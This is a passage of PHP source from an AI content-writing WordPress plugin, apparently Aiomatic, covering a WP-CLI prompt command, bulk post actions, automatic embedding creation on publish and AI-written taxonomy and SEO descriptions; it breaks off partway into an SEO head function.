            const AIOMATIC_AMAZON_CATEGORIES = array('AmazonVideo', 'Apparel', 'Appliances', 'ArtsAndCrafts', 'Automotive', 'Baby', 'Beauty', 'Books', 'Classical', 'Collectibles', 'Computers', 'CreditCards', 'DigitalMusic', 'DigitalEducationalResources', 'Electronics', 'EverythingElse', 'Fashion', 'FashionBaby', 'FashionBoys', 'FashionGirls', 'FashionMen', 'FashionWomen', 'ForeignBooks', 'Furniture', 
            'GardenAndOutdoor', 'Garden', 'GiftCards', 'GroceryAndGourmetFood', 'Handmade', 'HealthPersonalCare', 'Hobbies', 'HomeAndKitchen', 'Home', 'Industrial', 'Jewelry', 'KindleStore', 'LocalServices', 'Lighting', 'Luggage', 
            'MobileAndAccessories', 'LuxuryBeauty', 'Magazines', 'Miscellaneous', 'MobileApps', 'MoviesAndTV', 'Music', 'MusicalInstruments', 'OfficeProducts', 'PetSupplies', 'Photo', 'Shoes', 'Software', 'SportsAndOutdoors', 'ToolsAndHomeImprovement', 'ToysAndGames', 'Vehicles', 'VHS', 'VideoGames', 'Watches');
            
            use Aws\S3\S3Client;
            use \Eventviva\ImageResize;
            use AiomaticOpenAI\OpenAi\OpenAi;
            use AiomaticOpenAI\OpenRouter\OpenRouter;
            $omni_files = array();
            function aiomatic_get_version() {
                $plugin_data = get_file_data( __FILE__  , array('Version' => 'Version'), false);
                return $plugin_data['Version'];
            }
            function aiomatic_add_custom_bulk_action($actions) 
            {
                $actions['aiomatic_embeddings'] = esc_html__('[Aiomatic] Create Embeddings', 'aiomatic-automatic-ai-content-writer');
                $actions['aiomatic_processing'] = esc_html__('[Aiomatic] Run AI Content Editor', 'aiomatic-automatic-ai-content-writer');
                $actions['aiomatic_edited'] = esc_html__('[Aiomatic] Mark As Edited', 'aiomatic-automatic-ai-content-writer');
                $actions['aiomatic_not_edited'] = esc_html__('[Aiomatic] Mark As Not Edited', 'aiomatic-automatic-ai-content-writer');
                return $actions;
            }
            add_filter( 'page_template', 'aiomatic_page_template' );
            function aiomatic_page_template( $page_template )
            {
                global $post;
                if (is_page( 'chatbot-embedding-ai-gateway' ) && $post->ID == get_option('aiomatic_chat_page_id'))
                {
                    $page_template = dirname( __FILE__ ) . '/templates/aiomatic-chat-template.php';
                }
                return $page_template;
            }
            function aiomatic_custom_page_template( $template ) 
            {
                global $post;
                if ( is_singular() && 'aiomatic_remote_chat' == $post->post_type ) 
                {
                    $template = dirname( __FILE__ ) . '/templates/aiomatic-chat-template.php';
                }
                return $template;
            }
            add_filter( 'single_template', 'aiomatic_custom_page_template' );
            
            function aiomatic_wpcli_add( $args ) 
            {
                if ( defined( 'WP_CLI' ) && WP_CLI )
                {
                    $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                    if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') 
                    {
                        if(count($args) < 2)
                        {
                            WP_CLI::error( 'Parameters missing. Usage: <aimodel> <aiprompt>');
                        }
                        list($model, $prompt) = $args;
                        $all_models = aiomatic_get_all_models(true);
                        if(!in_array($model, $all_models))
                        {
                            $model = get_default_model_name($aiomatic_Main_Settings);
                        }
                        $query_token_count = count(aiomatic_encode($prompt));
                        $max_tokens = aiomatic_get_max_tokens($model);
                        $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count);
                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                        {
                            $string_len = strlen($prompt);
                            $string_len = $string_len / 2;
                            $string_len = intval(0 - $string_len);
                            $prompt = aiomatic_substr($prompt, 0, $string_len);
                            $prompt = trim($prompt);
                            $query_token_count = count(aiomatic_encode($prompt));
                            $available_tokens = $max_tokens - $query_token_count;
                        }
                        if(!empty($prompt))
                        {
                            $GLOBALS['aiomatic_stats'] = new Aiomatic_Statistics();
                            $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
                            $appids = array_filter($appids);
                            $token = $appids[array_rand($appids)];
                            $thread_id = '';
                            $aierror = '';
                            $finish_reason = '';
                            $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, 1, 1, 0, 0, false, 'wpcli', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', '', $thread_id, '', 'disabled', '', false);
                            if($generated_text === false)
                            {
                                WP_CLI::error( 'Failed to generate the AI reply, error: ' . $aierror);
                            }
                            else
                            {
                                $generated_text = aiomatic_sanitize_ai_result($generated_text);
                                if(empty($generated_text))
                                {
                                    WP_CLI::error( 'Empty AI response returned!');
                                }
                                else
                                {
                                    WP_CLI::log($generated_text);
                                }
                            }
                        }
                        else
                        {
                            WP_CLI::error( 'Empty AI prompt provided!' );
                        }
                    }
                    else
                    {
                        WP_CLI::error( 'You need to add an AI API key in the Aiomatic plugin\'s settings for this to work!' );
                    }
                }
                else
                {
                    WP_CLI::error( 'WP_CLI not found!' );
                }
                exit;
            }
            
            function aiomatic_add_custom_column_to_posts($columns) 
            {
                $columns['aiomatic_edited'] = 'Aiomatic Edited';
                return $columns;
            }
            
            function aiomatic_custom_column_content($column_name, $post_id) 
            {
                if ($column_name == 'aiomatic_edited') 
                {
                    $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false);
                    if (isset($aiomatic_Spinner_Settings['custom_name']) && trim($aiomatic_Spinner_Settings['custom_name']) != '')
                    {
                        $custom_name = trim($aiomatic_Spinner_Settings['custom_name']);
                    }
                    else
                    {
                        $custom_name = 'aiomatic_published';
                    }
                    $value = get_post_meta($post_id, $custom_name, true);
                    if ($value == 'pub')
                    {
                        echo esc_html__('Yes', 'aiomatic-automatic-ai-content-writer');
                    }
                    else
                    {
                        echo esc_html__('No', 'aiomatic-automatic-ai-content-writer');
                    }
                }
            }
            
            function aiomatic_custom_column_sortable($columns) 
            {
                $columns['aiomatic_edited'] = 'aiomatic_edited';
                return $columns;
            }
            
            function aiomatic_custom_column_orderby($query) 
            {
                if (!is_admin() || !$query->is_main_query()) 
                {
                    return;
                }
            
                if ($query->get('orderby') == 'aiomatic_edited') 
                {
                    $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false);
                    if (isset($aiomatic_Spinner_Settings['custom_name']) && trim($aiomatic_Spinner_Settings['custom_name']) != '')
                    {
                        $custom_name = trim($aiomatic_Spinner_Settings['custom_name']);
                    }
                    else
                    {
                        $custom_name = 'aiomatic_published';
                    }
                    $query->set('meta_query', array(
                        'relation' => 'OR',
                        array(
                            'key' => $custom_name,
                            'compare' => 'EXISTS',
                        )
                    ));
                    $query->set('orderby', 'meta_value');
                }
            }
            add_action('pre_get_posts', 'aiomatic_custom_column_orderby');
            add_filter('manage_edit-post_sortable_columns', 'aiomatic_custom_column_sortable');
            add_action('manage_posts_custom_column', 'aiomatic_custom_column_content', 10, 2);
            add_filter('manage_posts_columns', 'aiomatic_add_custom_column_to_posts');
            
            function aiomatic_add_bulk_actions_to_all_post_types() 
            {
                $post_types = get_post_types('', 'names');
                $excepted_types = array('aiomatic_embeddings', 'aiomatic_file', 'aiomatic_remote_chat', 'aiomatic_convert', 'aiomatic_finetune', 'aiomatic_forms', 'aiomatic_personas', 'aiomatic_assistants', 'aiomatic_batches', 'aiomatic_omni_temp', 'aiomatic_omni_file', 'aiomatic_themes', 'aiomatic_user_data');
                foreach ($post_types as $post_type) 
                {
                    if(in_array($post_type, $excepted_types))
                    {
                        continue;
                    }
                    add_filter("bulk_actions-edit-{$post_type}", 'aiomatic_add_custom_bulk_action');
                    add_filter("handle_bulk_actions-edit-{$post_type}", 'aiomatic_custom_bulk_action_handler', 10, 3);
                }
            }
            
            function aiomatic_custom_bulk_action_handler($redirect_to, $action, $post_ids) 
            {
                if ($action === 'aiomatic_embeddings') 
                {
                    require_once(dirname(__FILE__) . "/res/Embeddings.php");
                    $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                    if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') 
                    {
                        $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
                        $appids = array_filter($appids);
                        $token = $appids[array_rand($appids)];
                        $embdedding = new Aiomatic_Embeddings($token);
                        foreach($post_ids as $pid)
                        {
                            if (isset($aiomatic_Main_Settings['embedding_template']) && trim($aiomatic_Main_Settings['embedding_template']) != '')
                            {
                                $tpost = get_post($pid);
                                if($tpost === null)
                                {
                                    aiomatic_log_to_file('Failed to find post ID for embedding creation: ' . $pid);
                                    continue;
                                }
                                $post_url = get_permalink($tpost->ID);
                                $post_title = $tpost->post_title;
                                $post_excerpt = $tpost->post_excerpt;
                                $post_id = $tpost->ID;
                                $post_content = $tpost->post_content;
                                if (strstr($aiomatic_Main_Settings['embedding_template'], '%%post_content%%') !== false && isset($aiomatic_Main_Settings['rewrite_embedding']) && trim($aiomatic_Main_Settings['rewrite_embedding']) == 'on' && isset($aiomatic_Main_Settings['embedding_rw_prompt']) && trim($aiomatic_Main_Settings['embedding_rw_prompt']) != '')
                                {
                                    $embedding_rw_prompt = trim($aiomatic_Main_Settings['embedding_rw_prompt']);
                                    $embedding_rw_prompt = str_replace('%%post_url%%', $post_url, $embedding_rw_prompt);
                                    $embedding_rw_prompt = str_replace('%%post_title%%', $post_title, $embedding_rw_prompt);
                                    $embedding_rw_prompt = str_replace('%%post_excerpt%%', $post_excerpt, $embedding_rw_prompt);
                                    $embedding_rw_prompt = str_replace('%%post_content%%', strip_shortcodes($post_content), $embedding_rw_prompt);
                                    $embedding_rw_prompt = str_replace('%%post_id%%', $post_id, $embedding_rw_prompt);
                                    if($embedding_rw_prompt != '')
                                    {
                                        if(isset($aiomatic_Main_Settings['embedding_rw_model']) && trim($aiomatic_Main_Settings['embedding_rw_model']) != '')
                                        {
                                            $rw_model = trim($aiomatic_Main_Settings['embedding_rw_model']);
                                        }
                                        else
                                        {
                                            $rw_model = get_default_model_name($aiomatic_Main_Settings);
                                        }
                                        if(isset($aiomatic_Main_Settings['emb_assistant_id']) && trim($aiomatic_Main_Settings['emb_assistant_id']) != '')
                                        {
                                            $emb_assistant_id = trim($aiomatic_Main_Settings['emb_assistant_id']);
                                        }
                                        else
                                        {
                                            $emb_assistant_id = '';
                                        }
                                        $all_models = aiomatic_get_all_models(true);
                                        if(!in_array($rw_model, $all_models))
                                        {
                                            $rw_model = get_default_model_name($aiomatic_Main_Settings);
                                        }
                                        $query_token_count = count(aiomatic_encode($embedding_rw_prompt));
                                        $max_tokens = aiomatic_get_max_tokens($rw_model);
                                        $available_tokens = aiomatic_compute_available_tokens($rw_model, $max_tokens, $embedding_rw_prompt, $query_token_count);
                                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                        {
                                            $string_len = strlen($embedding_rw_prompt);
                                            $string_len = $string_len / 2;
                                            $string_len = intval(0 - $string_len);
                                            $embedding_rw_prompt = aiomatic_substr($embedding_rw_prompt, 0, $string_len);
                                            $embedding_rw_prompt = trim($embedding_rw_prompt);
                                            $query_token_count = count(aiomatic_encode($embedding_rw_prompt));
                                            $available_tokens = $max_tokens - $query_token_count;
                                        }
                                        if(!empty($embedding_rw_prompt))
                                        {
                                            $thread_id = '';
                                            $aierror = '';
                                            $finish_reason = '';
                                            $generated_text = aiomatic_generate_text($token, $rw_model, $embedding_rw_prompt, $available_tokens, 1, 1, 0, 0, false, 'embeddingsOptimizer', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $emb_assistant_id, $thread_id, '', 'disabled', '', false);
                                            if($generated_text === false)
                                            {
                                                aiomatic_log_to_file('Failed to optimize post content for embeddings: ' . print_r($embedding_rw_prompt, true));
                                            }
                                            else
                                            {
                                                $post_content = aiomatic_sanitize_ai_result($generated_text);
                                            }
                                        }
                                    }
                                }
                                $emb_template = trim($aiomatic_Main_Settings['embedding_template']);
                                $emb_template = str_replace('%%post_url%%', $post_url, $emb_template);
                                $emb_template = str_replace('%%post_title%%', $post_title, $emb_template);
                                $emb_template = str_replace('%%post_excerpt%%', $post_excerpt, $emb_template);
                                $emb_template = str_replace('%%post_content%%', strip_shortcodes($post_content), $emb_template);
                                $emb_template = str_replace('%%post_id%%', $post_id, $emb_template);
                                $emb_template = apply_filters('aiomatic_modify_ai_embeddings', $emb_template);
                                if($emb_template != '')
                                {
                                    $rez = $embdedding->aiomatic_create_single_embedding_nojson($emb_template);
                                    if($rez['status'] == 'error')
                                    {
                                        aiomatic_log_to_file('Failed to save embedding for post id: ' . $post_id . ' error: ' . print_r($rez, true));
                                    }
                                }
                            }
                            else
                            {
                                wp_die('No embedding template set in plugin settings!');
                            }
                        }
                    }
                    else
                    {
                        wp_die('You need to set up an OpenAI API key in the Aiomatic plugin\' settings, for this to work!');
                    }
                    return admin_url( 'admin.php?page=aiomatic_embeddings_panel#tab-2' );
                }
                elseif ($action === 'aiomatic_processing') 
                {
                    $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                    $current = 1;
                    foreach($post_ids as $pid)
                    {
                        $tpost = get_post($pid);
                        if($tpost === null)
                        {
                            aiomatic_log_to_file('Failed to find post ID for AI Content Editor processing: ' . $pid);
                            continue;
                        }
                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                        {
                            aiomatic_log_to_file('Manually processing post ' . $current . '/' . count($post_ids) . ', ID: ' . $pid);
                        }
                        aiomatic_do_post($tpost, true);
                        $current++;
                    }
                }
                elseif ($action === 'aiomatic_edited') 
                {
                    $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false);
                    foreach($post_ids as $pid)
                    {
                        if (isset($aiomatic_Spinner_Settings['custom_name']) && trim($aiomatic_Spinner_Settings['custom_name']) != '')
                        {
                            $custom_name = trim($aiomatic_Spinner_Settings['custom_name']);
                        }
                        else
                        {
                            $custom_name = 'aiomatic_published';
                        }
                        update_post_meta($pid, $custom_name, 'pub');
                    }
                }
                elseif ($action === 'aiomatic_not_edited') 
                {
                    $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false);
                    foreach($post_ids as $pid)
                    {
                        if (isset($aiomatic_Spinner_Settings['custom_name']) && trim($aiomatic_Spinner_Settings['custom_name']) != '')
                        {
                            $custom_name = trim($aiomatic_Spinner_Settings['custom_name']);
                        }
                        else
                        {
                            $custom_name = 'aiomatic_published';
                        }
                        delete_post_meta($pid, $custom_name);
                    }
                }
                return $redirect_to;
            }
            
            add_action('transition_post_status', 'aiomatic_embeddings_new_post', 10, 3);
            function aiomatic_embeddings_new_post($new_status, $old_status, $post)
            {
                if ('publish' !== $new_status or 'publish' === $old_status)
                {
                    return;
                }
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] === 'on') 
                {
                    if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') 
                    {
                        if(isset($aiomatic_Main_Settings['index_types']) && is_array($aiomatic_Main_Settings['index_types']))
                        {
                            if(in_array($post->post_type, $aiomatic_Main_Settings['index_types']))
                            {
                                require_once(dirname(__FILE__) . "/res/Embeddings.php");
                                $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
                                $appids = array_filter($appids);
                                $token = $appids[array_rand($appids)];
                                $embdedding = new Aiomatic_Embeddings($token);
                                if (isset($aiomatic_Main_Settings['embedding_template']) && trim($aiomatic_Main_Settings['embedding_template']) != '')
                                {
                                    $post_url = get_permalink($post->ID);
                                    $post_title = $post->post_title;
                                    $post_excerpt = $post->post_excerpt;
                                    $post_id = $post->ID;
                                    $post_content = $post->post_content;
                                    if (strstr($aiomatic_Main_Settings['embedding_template'], '%%post_content%%') !== false && isset($aiomatic_Main_Settings['rewrite_embedding']) && trim($aiomatic_Main_Settings['rewrite_embedding']) == 'on' && isset($aiomatic_Main_Settings['embedding_rw_prompt']) && trim($aiomatic_Main_Settings['embedding_rw_prompt']) != '')
                                    {
                                        $embedding_rw_prompt = trim($aiomatic_Main_Settings['embedding_rw_prompt']);
                                        $embedding_rw_prompt = str_replace('%%post_url%%', $post_url, $embedding_rw_prompt);
                                        $embedding_rw_prompt = str_replace('%%post_title%%', $post_title, $embedding_rw_prompt);
                                        $embedding_rw_prompt = str_replace('%%post_excerpt%%', $post_excerpt, $embedding_rw_prompt);
                                        $embedding_rw_prompt = str_replace('%%post_content%%', strip_shortcodes($post_content), $embedding_rw_prompt);
                                        $embedding_rw_prompt = str_replace('%%post_id%%', $post_id, $embedding_rw_prompt);
                                        if($embedding_rw_prompt != '')
                                        {
                                            if(isset($aiomatic_Main_Settings['embedding_rw_model']) && trim($aiomatic_Main_Settings['embedding_rw_model']) != '')
                                            {
                                                $rw_model = trim($aiomatic_Main_Settings['embedding_rw_model']);
                                            }
                                            else
                                            {
                                                $rw_model = get_default_model_name($aiomatic_Main_Settings);
                                            }
                                            if(isset($aiomatic_Main_Settings['emb_assistant_id']) && trim($aiomatic_Main_Settings['emb_assistant_id']) != '')
                                            {
                                                $emb_assistant_id = trim($aiomatic_Main_Settings['emb_assistant_id']);
                                            }
                                            else
                                            {
                                                $emb_assistant_id = '';
                                            }
                                            $all_models = aiomatic_get_all_models(true);
                                            if(!in_array($rw_model, $all_models))
                                            {
                                                $rw_model = get_default_model_name($aiomatic_Main_Settings);
                                            }
                                            $query_token_count = count(aiomatic_encode($embedding_rw_prompt));
                                            $max_tokens = aiomatic_get_max_tokens($rw_model);
                                            $available_tokens = aiomatic_compute_available_tokens($rw_model, $max_tokens, $embedding_rw_prompt, $query_token_count);
                                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                            {
                                                $string_len = strlen($embedding_rw_prompt);
                                                $string_len = $string_len / 2;
                                                $string_len = intval(0 - $string_len);
                                                $embedding_rw_prompt = aiomatic_substr($embedding_rw_prompt, 0, $string_len);
                                                $embedding_rw_prompt = trim($embedding_rw_prompt);
                                                $query_token_count = count(aiomatic_encode($embedding_rw_prompt));
                                                $available_tokens = $max_tokens - $query_token_count;
                                            }
                                            if(!empty($embedding_rw_prompt))
                                            {
                                                $thread_id = '';
                                                $aierror = '';
                                                $finish_reason = '';
                                                $generated_text = aiomatic_generate_text($token, $rw_model, $embedding_rw_prompt, $available_tokens, 1, 1, 0, 0, false, 'embeddingsOptimizer', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $emb_assistant_id, $thread_id, '', 'disabled', '', false);
                                                if($generated_text === false)
                                                {
                                                    aiomatic_log_to_file('Failed to optimize post content for auto embeddings: ' . print_r($embedding_rw_prompt, true));
                                                }
                                                else
                                                {
                                                    $post_content = aiomatic_sanitize_ai_result($generated_text);
                                                }
                                            }
                                        }
                                    }
                                    $emb_template = trim($aiomatic_Main_Settings['embedding_template']);
                                    $emb_template = str_replace('%%post_url%%', $post_url, $emb_template);
                                    $emb_template = str_replace('%%post_title%%', $post_title, $emb_template);
                                    $emb_template = str_replace('%%post_excerpt%%', $post_excerpt, $emb_template);
                                    $emb_template = str_replace('%%post_content%%', strip_shortcodes($post_content), $emb_template);
                                    $emb_template = str_replace('%%post_id%%', $post_id, $emb_template);
                                    $emb_template = apply_filters('aiomatic_modify_ai_embeddings', $emb_template);
                                    if($emb_template != '')
                                    {
                                        $rez = $embdedding->aiomatic_create_single_embedding_nojson($emb_template);
                                        if($rez['status'] == 'error')
                                        {
                                            aiomatic_log_to_file('Failed to automatically save embedding for post id: ' . $post_id . ' error: ' . print_r($rez, true));
                                        }
                                    }
                                }
                                else
                                {
                                    aiomatic_log_to_file('No auto embedding template set in plugin settings!');
                                    return;
                                }
                            }
                        }
                    }
                }
            }
            
            function aiomatic_auto_write_tax_description($tag_ID, $taxonomy) 
            {
                $my_term = get_term_by('id', $tag_ID, $taxonomy);
                if($my_term == false)
            	{
            		aiomatic_log_to_file('Taxonomy ID not found: ' . print_r($tag_ID, true));
                    return false;
            	}
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') {
                    aiomatic_log_to_file('You need to enter an OpenAI API key in plugin settings!');
                    return false;
            	}
                
                if (isset($aiomatic_Main_Settings['tax_description_prompt']) && trim($aiomatic_Main_Settings['tax_description_prompt']) != '') 
                {
                    $prompt = trim($aiomatic_Main_Settings['tax_description_prompt']);
                }
                else
                {
                    $prompt = 'Write a description for a WordPress %%term_taxonomy_name%% with the following title: "%%term_name%%"';
                }
                if (isset($aiomatic_Main_Settings['tax_description_model']) && trim($aiomatic_Main_Settings['tax_description_model']) != '') 
                {
                    $model = trim($aiomatic_Main_Settings['tax_description_model']);
                }
                else
                {
                    $model = get_default_model_name($aiomatic_Main_Settings);
                }
                if (isset($aiomatic_Main_Settings['tax_assistant_id']) && trim($aiomatic_Main_Settings['tax_assistant_id']) != '') 
                {
                    $tax_assistant_id = trim($aiomatic_Main_Settings['tax_assistant_id']);
                }
                else
                {
                    $tax_assistant_id = '';
                }
            	$all_models = aiomatic_get_all_models(true);
            	if(!in_array($model, $all_models))
                {
                    $model = get_default_model_name($aiomatic_Main_Settings);
                }
            	$new_post_content = '';
            	$appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
            	$appids = array_filter($appids);
            	$token = $appids[array_rand($appids)];
                $prompt = str_replace('%%term_id%%', $my_term->term_id, $prompt);
                $prompt = str_replace('%%term_name%%', $my_term->name, $prompt);
                $prompt = str_replace('%%term_slug%%', $my_term->slug, $prompt);
                $prompt = str_replace('%%term_description%%', $my_term->description, $prompt);
                $prompt = str_replace('%%term_taxonomy_name%%', $my_term->taxonomy, $prompt);
                $prompt = str_replace('%%term_taxonomy_id%%', $my_term->term_taxonomy_id, $prompt);
            	$query_token_count = count(aiomatic_encode($prompt));
                $max_tokens = aiomatic_get_max_tokens($model);
            	$available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count);
            	if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
            	{
            		$string_len = strlen($prompt);
            		$string_len = $string_len / 2;
            		$string_len = intval(0 - $string_len);
                    $prompt = aiomatic_substr($prompt, 0, $string_len);
            		$prompt = trim($prompt);
            		if(empty($prompt))
            		{
                        aiomatic_log_to_file('Incorrect taxonomy writer prompt provided: ' . print_r($prompt, true));
                        return false;
            		}
            		$query_token_count = count(aiomatic_encode($prompt));
            		$available_tokens = $max_tokens - $query_token_count;
            	}
                $thread_id = '';
            	$aierror = '';
            	$finish_reason = '';
            	$generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, 1, 1, 0, 0, false, 'taxonomyAutoDescriptionWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $tax_assistant_id, $thread_id, '', 'disabled', '', false);
            	if($generated_text === false)
            	{
            		aiomatic_log_to_file('Failed to automatically generated taxonomy description: ' . print_r($prompt, true));
                    return false;
            	}
            	else
            	{
            		$new_post_content = aiomatic_sanitize_ai_result($generated_text);
            	}
                return $new_post_content;
            }
            
            function aiomatic_auto_write_tax_SEO_description($tag_ID, $taxonomy) 
            {
                $my_term = get_term_by('id', $tag_ID, $taxonomy);
                if($my_term == false)
            	{
            		aiomatic_log_to_file('Taxonomy ID not found: ' . print_r($tag_ID, true));
                    return false;
            	}
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') {
                    aiomatic_log_to_file('You need to enter an OpenAI API key in plugin settings!');
                    return false;
            	}
                
                if (isset($aiomatic_Main_Settings['tax_seo_description_prompt']) && trim($aiomatic_Main_Settings['tax_seo_description_prompt']) != '') 
                {
                    $prompt = trim($aiomatic_Main_Settings['tax_seo_description_prompt']);
                }
                else
                {
                    $prompt = 'Write a SEO friendly short description (maximum 50 words) for a WordPress %%term_taxonomy_name%% with the following title: "%%term_name%%"';
                }
                if (isset($aiomatic_Main_Settings['tax_seo_description_model']) && trim($aiomatic_Main_Settings['tax_seo_description_model']) != '') 
                {
                    $model = trim($aiomatic_Main_Settings['tax_seo_description_model']);
                }
                else
                {
                    $model = get_default_model_name($aiomatic_Main_Settings);
                }
                if (isset($aiomatic_Main_Settings['tax_seo_assistant_id']) && trim($aiomatic_Main_Settings['tax_seo_assistant_id']) != '') 
                {
                    $tax_seo_assistant_id = trim($aiomatic_Main_Settings['tax_seo_assistant_id']);
                }
                else
                {
                    $tax_seo_assistant_id = '';
                }
            	$all_models = aiomatic_get_all_models(true);
            	if(!in_array($model, $all_models))
                {
                    $model = get_default_model_name($aiomatic_Main_Settings);
                }
            	$new_post_content = '';
            	$appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
            	$appids = array_filter($appids);
            	$token = $appids[array_rand($appids)];
                $prompt = str_replace('%%term_id%%', $my_term->term_id, $prompt);
                $prompt = str_replace('%%term_name%%', $my_term->name, $prompt);
                $prompt = str_replace('%%term_slug%%', $my_term->slug, $prompt);
                $prompt = str_replace('%%term_description%%', $my_term->description, $prompt);
                $prompt = str_replace('%%term_taxonomy_name%%', $my_term->taxonomy, $prompt);
                $prompt = str_replace('%%term_taxonomy_id%%', $my_term->term_taxonomy_id, $prompt);
            	$query_token_count = count(aiomatic_encode($prompt));
                $max_tokens = aiomatic_get_max_tokens($model);
            	$available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count);
            	if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
            	{
            		$string_len = strlen($prompt);
            		$string_len = $string_len / 2;
            		$string_len = intval(0 - $string_len);
                    $prompt = aiomatic_substr($prompt, 0, $string_len);
            		$prompt = trim($prompt);
            		if(empty($prompt))
            		{
                        aiomatic_log_to_file('Incorrect taxonomy writer prompt provided: ' . print_r($prompt, true));
                        return false;
            		}
            		$query_token_count = count(aiomatic_encode($prompt));
            		$available_tokens = $max_tokens - $query_token_count;
            	}
                $thread_id = '';
            	$aierror = '';
            	$finish_reason = '';
            	$generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, 1, 1, 0, 0, false, 'taxonomyAutoSEODescriptionWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $tax_seo_assistant_id, $thread_id, '', 'disabled', '', false);
            	if($generated_text === false)
            	{
            		aiomatic_log_to_file('Failed to automatically generated taxonomy description: ' . print_r($prompt, true));
                    return false;
            	}
            	else
            	{
            		$new_post_content = aiomatic_sanitize_ai_result($generated_text);
            	}
                return $new_post_content;
            }
            function generate_taxonomy_description($term_id, $tt_id, $taxonomy) 
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] === 'on') 
                {
                    if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') 
                    {
                        if (isset($aiomatic_Main_Settings['tax_description_auto']) && is_array($aiomatic_Main_Settings['tax_description_auto']) && in_array($taxonomy, $aiomatic_Main_Settings['tax_description_auto']))
                        {
                            $term = get_term($term_id, $taxonomy);
                            if (is_wp_error($term) || $term === null || $term === false) 
                            {
                                return;
                            }
                            if (!empty($term->description)) {
                                return;
                            }
                            $description = aiomatic_auto_write_tax_description($term_id, $taxonomy);
                            if(!empty($description))
                            {
                                remove_filter( 'pre_term_description', 'wp_filter_kses' );
                                remove_filter( 'term_description', 'wp_kses_data' );
                                wp_update_term($term_id, $taxonomy, array(
                                    'description' => $description
                                ));
                                add_filter( 'pre_term_description', 'wp_filter_kses' );
                                add_filter( 'term_description', 'wp_kses_data' );
                                if (isset($aiomatic_Main_Settings['tax_seo_auto']))
                                {
                                    if($aiomatic_Main_Settings['tax_seo_auto'] == 'copy')
                                    {
                                        aiomatic_save_term_seo_description($term_id, $description, $taxonomy);
                                    }
                                    elseif($aiomatic_Main_Settings['tax_seo_auto'] == 'write')
                                    {
                                        $description = aiomatic_auto_write_tax_SEO_description($term_id, $taxonomy);
                                        if(!empty($description))
                                        {
                                            aiomatic_save_term_seo_description($term_id, $description, $taxonomy);
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
            add_action('created_term', 'generate_taxonomy_description', 10, 3);
            
            function aiomatic_add_custom_button_to_taxonomy_edit_menu() {
                global $pagenow;
                if ($pagenow === 'term.php') {
                    $taxonomy = $_GET['taxonomy'];
                    $tag_ID = $_GET['tag_ID'];
                    $name = md5(get_bloginfo());
                    wp_enqueue_script($name . '-tax-script', plugins_url('scripts/taxonomy.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION, true);
                    wp_localize_script( $name . '-tax-script', 'AICustomButtonData', array(
                        'ajaxUrl' => admin_url( 'admin-ajax.php' ),
                        'taxonomy' => $taxonomy,
                        'tagID' => $tag_ID,
                        'nonce' => wp_create_nonce('openai-ajax-nonce'),
                        'writeMessage' => esc_html__('Write Description Using AI', 'aiomatic-automatic-ai-content-writer'),
                        'moreSettings' => esc_html__('INFO: Configure AI Writer Prompts in the "Taxonomy Description Writer" tab from', 'aiomatic-automatic-ai-content-writer') . ' <a href="' . admin_url('admin.php?page=aiomatic_admin_settings') . '" target="_blank">' . esc_html__('here', 'aiomatic-automatic-ai-content-writer') . '</a>',
                    ) );
                }
            }
            add_action( 'admin_footer', 'aiomatic_add_custom_button_to_taxonomy_edit_menu' );
            
            add_action('wp_head', 'aiomatic_wp_head_seo',1);
            function aiomatic_wp_head_seo()
            {
                if(is_singular())
                {
                    $aiomatic_meta_description = get_post_meta(get_the_ID(), 'aiomatic_html_meta', true);
